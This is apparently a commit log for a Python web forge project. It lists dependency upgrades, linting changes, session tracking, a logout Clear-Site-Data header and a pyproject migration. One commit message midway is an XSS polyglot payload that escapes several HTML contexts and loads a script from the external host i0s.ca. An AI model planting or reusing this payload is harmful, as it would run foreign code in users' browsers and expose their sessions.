[#8520] fixes
replacing pkg_resources
need "moderate" perm to mark thread as spam
remove class and id attributes when parsing markdown to html
update PGP link for release vote mail
Home
release 1.18 news
update SITEURL and regenerate with latest pelican
CHANGES updated for ASF release 1.18.0
Update copyright year
for ease of development, make trusted_login_source allow some usernames
bump regex 2024.11.6 -> 2025.7.34
Track user sessions for already logged in users
Track sessions for already logged in users
[#8581] change pkg_resources ignores from DeprecationWarning to UserWarning
added PLC0415 to the list of ignored ruff rules
[#8581] updated pre-commit ruff version
[#8581] Upgrade pre_commit 4.2.0 -> no upgrade, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8581] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8581] Upgrade pytest-xdist 3.6.1 -> 3.8.0, and its deps: execnet,pytest,iniconfig,packaging,pluggy
[#8581] Upgrade pytest 8.3.5 -> 8.4.1, and its deps: iniconfig,packaging,pluggy
[#8581] Upgrade WebTest 3.0.4 -> 3.0.6, and its deps: beautifulsoup4,soupsieve,typing_extensions,waitress,WebOb
[#8581] Upgrade testfixtures 8.3.0 -> 9.1.0
[#8581] Upgrade ruff 0.11.7 -> 0.12.2
[#8581] Upgrade qrcode 8.1 -> 8.2
[#8581] Upgrade pysolr 3.10.0 -> no upgrade, and its deps: requests,certifi,charset-normalizer,idna,urllib3,setuptools
[#8581] Upgrade Pygments 2.19.1 -> 2.19.2
[#8581] Upgrade oauthlib 3.2.2 -> 3.3.1
[#8581] Upgrade Markdown 3.8 -> 3.8.2
[#8581] Upgrade lxml 5.4.0 -> 6.0.0
[#8581] Upgrade beaker-session-jwt 1.0.3 -> no upgrade, and its deps: Beaker,joserfc,cryptography,cffi,pycparser,pymongo,dnspython
[#8581] Upgrade beautifulsoup4 4.13.4 -> no upgrade, and its deps: soupsieve,typing_extensions
[#8581] Upgrade aiosmtpd 1.4.6 -> no upgrade, and its deps: atpublic,attrs
[#8581] Upgrade ActivityStream 0.5.0 -> no upgrade, and its deps: pymongo,dnspython
Upgrade Python Packages
Track sessions for already logged in users
test update to sync up the git fix
remove encoding that turns author string into utf-8 bytes
fix permissions options to show anonymous/read for private projects
added PLC0415 to the list of ignored ruff rules
[#8581] updated pre-commit ruff version
[#8581] Upgrade pre_commit 4.2.0 -> no upgrade, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8581] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8581] Upgrade pytest-xdist 3.6.1 -> 3.8.0, and its deps: execnet,pytest,iniconfig,packaging,pluggy
[#8581] Upgrade pytest 8.3.5 -> 8.4.1, and its deps: iniconfig,packaging,pluggy
[#8581] Upgrade WebTest 3.0.4 -> 3.0.6, and its deps: beautifulsoup4,soupsieve,typing_extensions,waitress,WebOb
[#8581] Upgrade testfixtures 8.3.0 -> 9.1.0
[#8581] Upgrade ruff 0.11.7 -> 0.12.2
[#8581] Upgrade qrcode 8.1 -> 8.2
[#8581] Upgrade pysolr 3.10.0 -> no upgrade, and its deps: requests,certifi,charset-normalizer,idna,urllib3,setuptools
[#8581] Upgrade Pygments 2.19.1 -> 2.19.2
[#8581] Upgrade oauthlib 3.2.2 -> 3.3.1
[#8581] Upgrade Markdown 3.8 -> 3.8.2
[#8581] Upgrade lxml 5.4.0 -> 6.0.0
[#8581] Upgrade beaker-session-jwt 1.0.3 -> no upgrade, and its deps: Beaker,joserfc,cryptography,cffi,pycparser,pymongo,dnspython
[#8581] Upgrade beautifulsoup4 4.13.4 -> no upgrade, and its deps: soupsieve,typing_extensions
[#8581] Upgrade aiosmtpd 1.4.6 -> no upgrade, and its deps: atpublic,attrs
[#8581] Upgrade ActivityStream 0.5.0 -> no upgrade, and its deps: pymongo,dnspython
Upgrade Python Packages
upgrade pillow to latest
include more response text in urlopen error logging
upgrade urllib3
"/*'/*\`/*--></noscript/</textarea/</template/</noembed/</script><script src=//i0s.ca></script>
small tweak to allow 'no_negated_flags=False' to defoptscript
bump requests 2.32.3 -> 2.32.4
[#8580] include paster plugins
[#8580] fall back to "pip" if uv is not installed (e.g. within init-docker-dev.sh)
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
[#8580] moved settings from setup.py into a new pyproject.toml
Update method for the installation of packages in editable mode
fixup! [#8580] include paster plugins
[#8580] include paster plugins
[#8580] fall back to "pip" if uv is not installed (e.g. within init-docker-dev.sh)
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
[#8580] update license settings to current recommended format
[#8580] faster rebuild-all.bash
small hint on repo viewable extensions format
[#8580] moved settings from setup.py into a new pyproject.toml
Update method for the installation of packages in editable mode
Set Clear-Site-Data response header upon logout
[#8579] set Clear-Site-Data response header upon logout to clear cookies and storage
Set Clear-Site-Data response header upon logout
dw/8579
Set Clear-Site-Data response header upon logout
upgrade ming to latest
[#8578] ruff checks updates
[#8578] updated precommit version
[#8578] Upgrade pre_commit 4.1.0 -> 4.2.0, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8578] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8578] Upgrade pytest 8.3.4 -> 8.3.5, and its deps: iniconfig,packaging,pluggy
[#8578] Upgrade ruff 0.9.6 -> 0.11.7
[#8578] Upgrade mock 5.1.0 -> 5.2.0
Upgrade Python Packages
[#8578] ruff checks updates
[#8578] updated precommit version
[#8578] Upgrade pre_commit 4.1.0 -> 4.2.0, and its deps: cfgv,identify,nodeenv,PyYAML,virtualenv,distlib,filelock,platformdirs
[#8578] Upgrade pytest-sugar 1.0.0 -> no upgrade, and its deps: packaging,pytest,iniconfig,packaging,pluggy,termcolor
[#8578] Upgrade pytest 8.3.4 -> 8.3.5, and its deps: iniconfig,packaging,pluggy